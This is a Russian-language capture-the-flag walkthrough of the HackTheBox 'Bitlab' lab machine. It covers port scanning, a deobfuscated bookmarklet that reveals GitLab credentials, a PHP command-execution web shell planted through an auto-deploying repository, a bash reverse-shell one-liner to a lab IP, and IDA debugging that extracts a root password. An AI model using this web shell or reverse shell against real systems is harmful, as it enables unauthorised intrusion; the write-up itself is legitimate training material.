image

Данной статьей я начну публикацию решений отправленных на дорешивание машин с площадки HackTheBox. Надеюсь, что это поможет хоть кому-то развиваться в области ИБ. В данной статье разберемся с легенькой JavaScript обфускацией, загрузим бэкдор через репозиторий Git, и отладим 32- приложение.

Подключение к лаборатории осуществляется через VPN. Рекомендуется не подключаться с рабочего компьютера или с хоста, где имеются важные для вас данные, так как Вы попадаете в частную сеть с людьми, которые что-то да умеют в области ИБ :)

Организационная информация
Специально для тех, кто хочет узнавать что-то новое и развиваться в любой из сфер информационной и компьютерной безопасности, я буду писать и рассказывать о следующих категориях:

  • PWN;
  • криптография (Crypto);
  • cетевые технологии (Network);
  • реверс (Reverse Engineering);
  • стеганография (Stegano);
  • поиск и эксплуатация WEB-уязвимостей.

Вдобавок к этому я поделюсь своим опытом в компьютерной криминалистике, анализе малвари и прошивок, атаках на беспроводные сети и локальные вычислительные сети, проведении пентестов и написании эксплоитов.

Чтобы вы могли узнавать о новых статьях, программном обеспечении и другой информации, я создал канал в Telegram и группу для обсуждения любых вопросов в области ИиКБ. Также ваши личные просьбы, вопросы, предложения и рекомендации рассмотрю лично и отвечу всем.

Вся информация представлена исключительно в образовательных целях. Автор этого документа не несёт никакой ответственности за любой ущерб, причиненный кому-либо в результате использования знаний и методов, полученных в результате изучения данного документа.

Разведка


Сканирование портов


Данная машиина имеет IP адрес 10.10.10.114, который я добавляю в /etc/hosts.
10.10.10.114 bitlab.htb
Первым делом сканируем открытые порты. Так как сканировать все порты nmap’ом долго, то я сначала сделаю это с помощью masscan. Мы сканируем все TCP и UDP порты с интерфейса tun0 со скоростью 1000 пакетов в секунду.
masscan -e tun0 -p1-65535,U:1-65535 10.10.10.114 --rate=1000

image

Далее нужно собрать больше информации об известных нам портах.
nmap -A bitlab.htb -p22,80

image

Как следует из отчета nmap на хосте работает SSH и веб-сервер. Причем на веб-сервере имеется robots.txt. Пройдя по директориям из этого списка, отмечаем, что работает gitlab и имеется непроиндексированная дирректория help.

image

Переходя на страницу bookmarks имеем несколько ссылок.

image

JS


Все указывают на сайт того или иного продукта, кроме последней, которая содержит не адрес, а JS код.

image

При чем данный код обфусцирован.
javascript:(function(){ var _0x4b18=["\x76\x61\x6C\x75\x65","\x75\x73\x65\x72\x5F\x6C\x6F\x67\x69\x6E","\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x42\x79\x49\x64","\x63\x6C\x61\x76\x65","\x75\x73\x65\x72\x5F\x70\x61\x73\x73\x77\x6F\x72\x64","\x31\x31\x64\x65\x73\x30\x30\x38\x31\x78"];document[_0x4b18[2]](_0x4b18[1])[_0x4b18[0]]= _0x4b18[3];document[_0x4b18[2]](_0x4b18[4])[_0x4b18[0]]= _0x4b18[5]; })()

Чтобы получить более читаемый код, можно воспольоваться следующим сайтом.

image

Немного доработав код, получим выполнение следующих инструкций.
document.getElementById("user_login").value = "clave";
document.getElementById("user_password").value = "11des0081x";

Git


С этими аутентификационными данными авторизуемся в gitlab. Там находим два профиля.

image

Так же можно обнаружить один проект, в котором происходит подключение к базе данных, в коде присутствую все данные для подключения.

image

Проверив Profile ничего интересного не находим.

image

В Deployer только php код.

image

Из данного кода становится понятно, что если мы разместил в профиле разместим файл, то он будет развернут на сервере.

Entry Рoint


Нам нужно разместить рhр бэкдор. К пример, тот, который будет принимать и выполнять команды.
<?php $cmd = $_REQUEST['cmd']; system($cmd); die; ?>

Для того открываем Profile и создаем новый файл.

image

image

И после добавления наш файл появится в репозитории.

image

Теперь тестируем бэкдор.

image

Теперь получим полноценный шелл.
bash -i >& /dev/tcp/10.10.15.150/4321 0>&1

image

И видим обратное подключение к своему хосту.

image

USER


Попав на хост, обязательно необходимо проверить данные, приобретенные ранее. Это данные для доступа к базе данных.

Открываев интерпретатор PHP в интерактивном режиме. Используем найденный код и просматриваем найденные данные. Пароль пользователя в base64, декодируем его.

image

Так мы узнаем пароль, которым видимо сможем подключиться по SSH. Но этого не вышло, так как base64 и есть пароль)).

image

ROOT


Осматриваясь на машине, находим в домашней дирректории пользователя exe файл.

image

Скопируем его себе на хост для анализа.
scp clave@10.10.10.114:~/RemoteConnection.exe .

Далее открываем файл в IDA Pro. Пролистав главную функцию main, можно найти сравнение переменной с именем пользователя и создание процесса с putty — программа для сетевых соединений.

image

Можно предположить, что соединение происходит с предоставлением аутентификационных данных, и их нам нужно найти. Данные соединения будут передаваться putty в качестве параметра, т.е. переменной v3.

Можно посмотреть готовую строку при отладке, но в IDA 32-х битный файл крашится. Пошагово отладив, понимаем, что это происходит после вызова GetUserNameW. Поступаем следующим образом.

Ставим BP на фрагменте сравнения имени.

image

Теперь ставим BP перед загрузкой параметров для функции GetUserNameW.

image

Запустим программу в отладчике. Отладка остановится перед вызовом нужной нам функции.

image

Теперь патчим код. Вместо загрузки параметров и вызова функции нужно поставить инструкцию NOP. Я для этого использую плагин Keypatch.

image

Теперь код выглядит так.

image

Продолжим отладку программы, чтобы она остановилась на сравнении имени. В этот момент адрес строки параметра уже будет загружен в регистр EAX для передачи в качестве параметра ShellExecuteW.

image

Теперь нажмем на стрелочку(jump in disassembly) рядом с регистром EAX. Это поволит перейти по адресу из EAX в главном окне IDA.

image

По данному адресу расположена строка параметра. Как можно видить она содержит симантически правильный текст “-ssh root… “. Но каждый символ представлен 2-я байтами. Чтобы удобно собрать строку нажмем Alt+A.

image

И в данном окне выбираем Unicode C-Style (16 bit). После чего наблюдаем корректно собранную строку.

image

В данной строке имеется пароль рута. Подключаемся по ssh и забираем токен.

image

Вы можете присоединиться к нам в Telegram. Давайте соберем сообщество, в котором будут люди, разбирающиеся во многих сферах ИТ, тогда мы всегда сможем помочь друг другу по любым вопросам ИТ и ИБ.